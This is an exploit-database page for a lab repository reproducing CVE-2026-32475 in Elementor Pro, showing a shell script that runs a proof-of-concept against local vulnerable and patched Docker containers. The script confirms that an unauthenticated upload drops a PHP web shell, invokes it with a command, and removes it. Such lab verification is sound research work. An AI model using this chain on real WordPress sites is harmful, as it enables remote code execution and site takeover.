Exploit database

GH-796f48f00652bbe17ed4b5b6a07ed88d

dinosn/cve-2026-32475-elementor-pro-lab

GitHubNot listedPoC
Download repository ZIP

Sources for CVE-2026-32475

6 sources

Preferred order: Exploit-DB, Metasploit, then GitHub repositories by stars. Open preferred source

Repository files11
dinosn/cve-2026-32475-elementor-pro-labRevision 1243cb7cea42

Files from this repository share one source choice. Supporting files may cover other vulnerabilities.

verify.sh

Shell · 3,156 bytes
#!/usr/bin/env bash
# A/B proof for CVE-2026-32475.
#   VULN  (:8975): unauth desync upload -> .php lands in forms dir AND executes (RCE).
#   PATCHED(:8976): same request -> validation now rejects -> no file written.
# The "file exists + executes" check uses a filesystem oracle (docker exec) that is
# INDEPENDENT of the exploit's own success claim. Cleans up the dropped shell.
set -uo pipefail
cd "$(dirname "$0")"
CT_V=ecve32475-wp-vuln-1
CT_P=ecve32475-wp-patched-1
FORMS=/var/www/html/wp-content/uploads/elementor/forms
FAIL=0

pageid() { docker exec "$1" wp --allow-root --path=/var/www/html eval \
  '$p=get_posts(["post_type"=>"page","title"=>"CVE-2026-32475 Lab","post_status"=>"any","numberposts"=>1]); echo $p?$p[0]->ID:"";' 2>/dev/null; }
list_shells() { docker exec "$1" bash -lc "ls -t $FORMS/*.php 2>/dev/null | grep -v '/index.php' || true"; }
newest_shell() { list_shells "$1" | head -1; }

run() {
  local name="$1" ct="$2" port="$3" mode="$4"
  local T="http://127.0.0.1:$port"
  echo "==================== $name ($T) ===================="
  local PID FORMID
  PID="$(pageid "$ct")"; [ -z "$PID" ] && { echo "  !! no lab page"; FAIL=1; return; }
  FORMID="$(curl -s "$T/?page_id=$PID" | grep -oP 'name="form_id"\s+value="\K[^"]+' | head -1)"
  [ -z "$FORMID" ] && FORMID=frm00001
  echo "  post_id=$PID form_id=$FORMID field_id=field_cv"

  local before after; before="$(list_shells "$ct" | wc -l | tr -d ' ')"
  echo "  -- sending unauth desync upload --"
  python3 poc.py -t "$T" --post-id "$PID" --form-id "$FORMID" --field-id field_cv 2>&1 | sed 's/^/    /'
  sleep 0.4
  after="$(list_shells "$ct" | wc -l | tr -d ' ')"
  local REAL; REAL="$(newest_shell "$ct")"

  if [ "$mode" = "exec" ]; then
    if [ -n "$REAL" ] && [ "$after" -gt "$before" ]; then
      echo "  [oracle] shell written: $REAL   (before=$before after=$after)"
    else
      echo "  [oracle] FAIL: no .php written to forms dir"; FAIL=1; return
    fi
    local base; base="$(basename "$REAL")"
    local OUT; OUT="$(curl -s "$T/wp-content/uploads/elementor/forms/$base?c=id")"
    if echo "$OUT" | grep -q 'ECVE32475_OUT\['; then
      echo "  [oracle] EXECUTION CONFIRMED (RCE): $(echo "$OUT" | grep -oP 'ECVE32475_OUT\[\K[^]]*')"
    else
      echo "  [oracle] FAIL: shell did not execute. body=${OUT:0:160}"; FAIL=1
    fi
    echo "  -- cleanup: removing dropped shell --"
    docker exec "$ct" bash -lc "rm -f '$REAL'" && echo "  cleaned $REAL"
  else # blocked
    if [ -n "$REAL" ] && [ "$after" -gt "$before" ]; then
      echo "  [oracle] FAIL: patched build STILL wrote a shell: $REAL"; FAIL=1
      docker exec "$ct" bash -lc "rm -f '$REAL'"
    else
      echo "  [oracle] BLOCKED: no attacker .php written (before=$before after=$after) — fix holds"
    fi
  fi
}

run "VULNERABLE  Elementor Pro 3.6.4"           "$CT_V" 8975 exec
run "PATCHED     Elementor Pro 3.6.4 (aligned)" "$CT_P" 8976 blocked

echo "======================================================"
if [ "$FAIL" = 0 ]; then
  echo "RESULT: PASS — CVE-2026-32475 reproduced (vuln RCE) and A/B-controlled (patched blocks)."
else
  echo "RESULT: FAIL — see above."
fi
exit $FAIL